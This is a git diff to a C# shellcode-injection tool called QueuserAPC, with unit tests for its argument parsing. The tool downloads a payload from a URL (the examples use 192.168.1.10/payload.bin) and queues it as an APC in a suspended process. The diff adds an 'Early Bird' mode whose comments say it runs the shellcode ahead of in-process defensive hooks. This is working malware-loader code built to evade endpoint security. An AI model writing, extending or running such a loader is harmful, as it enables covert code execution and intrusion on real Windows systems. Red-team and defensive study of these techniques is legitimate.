diff --git a/QueuserAPC.Tests/ProgramTests.cs b/QueuserAPC.Tests/ProgramTests.cs
index 5ee3ebb..45ef85c 100644
--- a/QueuserAPC.Tests/ProgramTests.cs
+++ b/QueuserAPC.Tests/ProgramTests.cs
@@ -66,4 +66,37 @@ public void ParseUseNt_FlagCaseInsensitive_ReturnsTrue()
{
Assert.True(Program.ParseUseNt(["--NT", "http://192.168.1.10/payload.bin"]));
}
+
+ // --- ParseUseEarlyBird ---
+
+ [Fact]
+ public void ParseUseEarlyBird_NoFlag_ReturnsFalse()
+ {
+ Assert.False(Program.ParseUseEarlyBird(["http://192.168.1.10/payload.bin"]));
+ }
+
+ [Fact]
+ public void ParseUseEarlyBird_WithFlag_ReturnsTrue()
+ {
+ Assert.True(Program.ParseUseEarlyBird(["--early-bird", "http://192.168.1.10/payload.bin"]));
+ }
+
+ [Fact]
+ public void ParseUseEarlyBird_FlagCaseInsensitive_ReturnsTrue()
+ {
+ Assert.True(Program.ParseUseEarlyBird(["--EARLY-BIRD", "http://192.168.1.10/payload.bin"]));
+ }
+
+ [Fact]
+ public void ParseUrl_EarlyBirdFlagSkipped_ReturnsUrl()
+ {
+ const string url = "http://192.168.1.10/payload.bin";
+ Assert.Equal(url, Program.ParseUrl(["--early-bird", url]));
+ }
+
+ [Fact]
+ public void ParseUseNt_NotSetWhenEarlyBirdPresent()
+ {
+ Assert.False(Program.ParseUseNt(["--early-bird", "http://192.168.1.10/payload.bin"]));
+ }
}
diff --git a/QueuserAPC/Program.cs b/QueuserAPC/Program.cs
index d569325..2b43f15 100644
--- a/QueuserAPC/Program.cs
+++ b/QueuserAPC/Program.cs
@@ -13,7 +13,7 @@ internal static string ParseUrl(string[] args)
if (args.Length < 1)
throw new ArgumentException("Shellcode URL is required.");
- // Skip --nt flag when looking for the URL
+ // Skip --nt / --early-bird flags when looking for the URL
var url = Array.Find(args, a => !a.StartsWith("--"))
?? throw new ArgumentException("Shellcode URL is required.");
@@ -31,24 +31,41 @@ internal static string ParseUrl(string[] args)
internal static bool ParseUseNt(string[] args) =>
Array.Exists(args, a => a.Equals("--nt", StringComparison.OrdinalIgnoreCase));
+ ///
+ /// Returns true when the --early-bird flag is present, selecting the
+ /// Early Bird APC technique: shellcode is queued via
+ /// into a process created with CREATE_SUSPENDED before its primary thread has
+ /// executed any user-mode code. Because a newly created suspended thread begins in an
+ /// alertable state, the APC fires immediately on ,
+ /// before the process entry point runs.
+ ///
+ internal static bool ParseUseEarlyBird(string[] args) =>
+ Array.Exists(args, a => a.Equals("--early-bird", StringComparison.OrdinalIgnoreCase));
+
static async Task Main(string[] args)
{
string shellcodeUrl;
bool useNt;
+ bool useEarlyBird;
try
{
shellcodeUrl = ParseUrl(args);
useNt = ParseUseNt(args);
+ useEarlyBird = ParseUseEarlyBird(args);
}
catch (ArgumentException ex)
{
Console.Error.WriteLine($"Error: {ex.Message}");
- Console.Error.WriteLine("Usage: QueuserAPC [--nt] ");
+ Console.Error.WriteLine("Usage: QueuserAPC [--nt | --early-bird] ");
Console.Error.WriteLine(" e.g. QueuserAPC https://192.168.1.10/payload.bin");
Console.Error.WriteLine(" QueuserAPC --nt https://192.168.1.10/payload.bin");
+ Console.Error.WriteLine(" QueuserAPC --early-bird https://192.168.1.10/payload.bin");
Console.Error.WriteLine();
Console.Error.WriteLine("Flags:");
- Console.Error.WriteLine(" --nt Use NtQueueApcThread (ntdll) instead of QueueUserAPC (kernel32)");
+ Console.Error.WriteLine(" --nt Use NtQueueApcThread (ntdll) instead of QueueUserAPC (kernel32)");
+ Console.Error.WriteLine(" --early-bird Early Bird APC: queue shellcode into a CREATE_SUSPENDED process");
+ Console.Error.WriteLine(" before its primary thread executes any user-mode code.");
+ Console.Error.WriteLine(" The APC fires on ResumeThread, ahead of the entry point.");
Environment.Exit(1);
return;
}
@@ -115,9 +132,27 @@ static async Task Main(string[] args)
out _);
if (useNt)
+ {
+ // NtQueueApcThread (ntdll) — does not require the target thread to be in an
+ // alertable wait state; useful against running threads that may never enter one.
Win32.NtQueueApcThread(pi.hThread, baseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
+ }
+ else if (useEarlyBird)
+ {
+ // Early Bird APC — process was created with CREATE_SUSPENDED so the primary
+ // thread has not yet executed any user-mode code. A newly created suspended
+ // thread begins in an alertable state, so QueueUserAPC fires immediately when
+ // ResumeThread is called, before the process entry point runs. This gives the
+ // shellcode a head start over any in-process defensive hooks loaded via the
+ // normal DLL initialisation sequence.
+ Win32.QueueUserAPC(baseAddress, pi.hThread, 0);
+ }
else
+ {
+ // Standard QueueUserAPC (kernel32) — queues an APC to the target thread.
+ // Requires the thread to enter an alertable wait (e.g. SleepEx, WaitForSingleObjectEx).
Win32.QueueUserAPC(baseAddress, pi.hThread, 0);
+ }
Win32.ResumeThread(pi.hThread);
}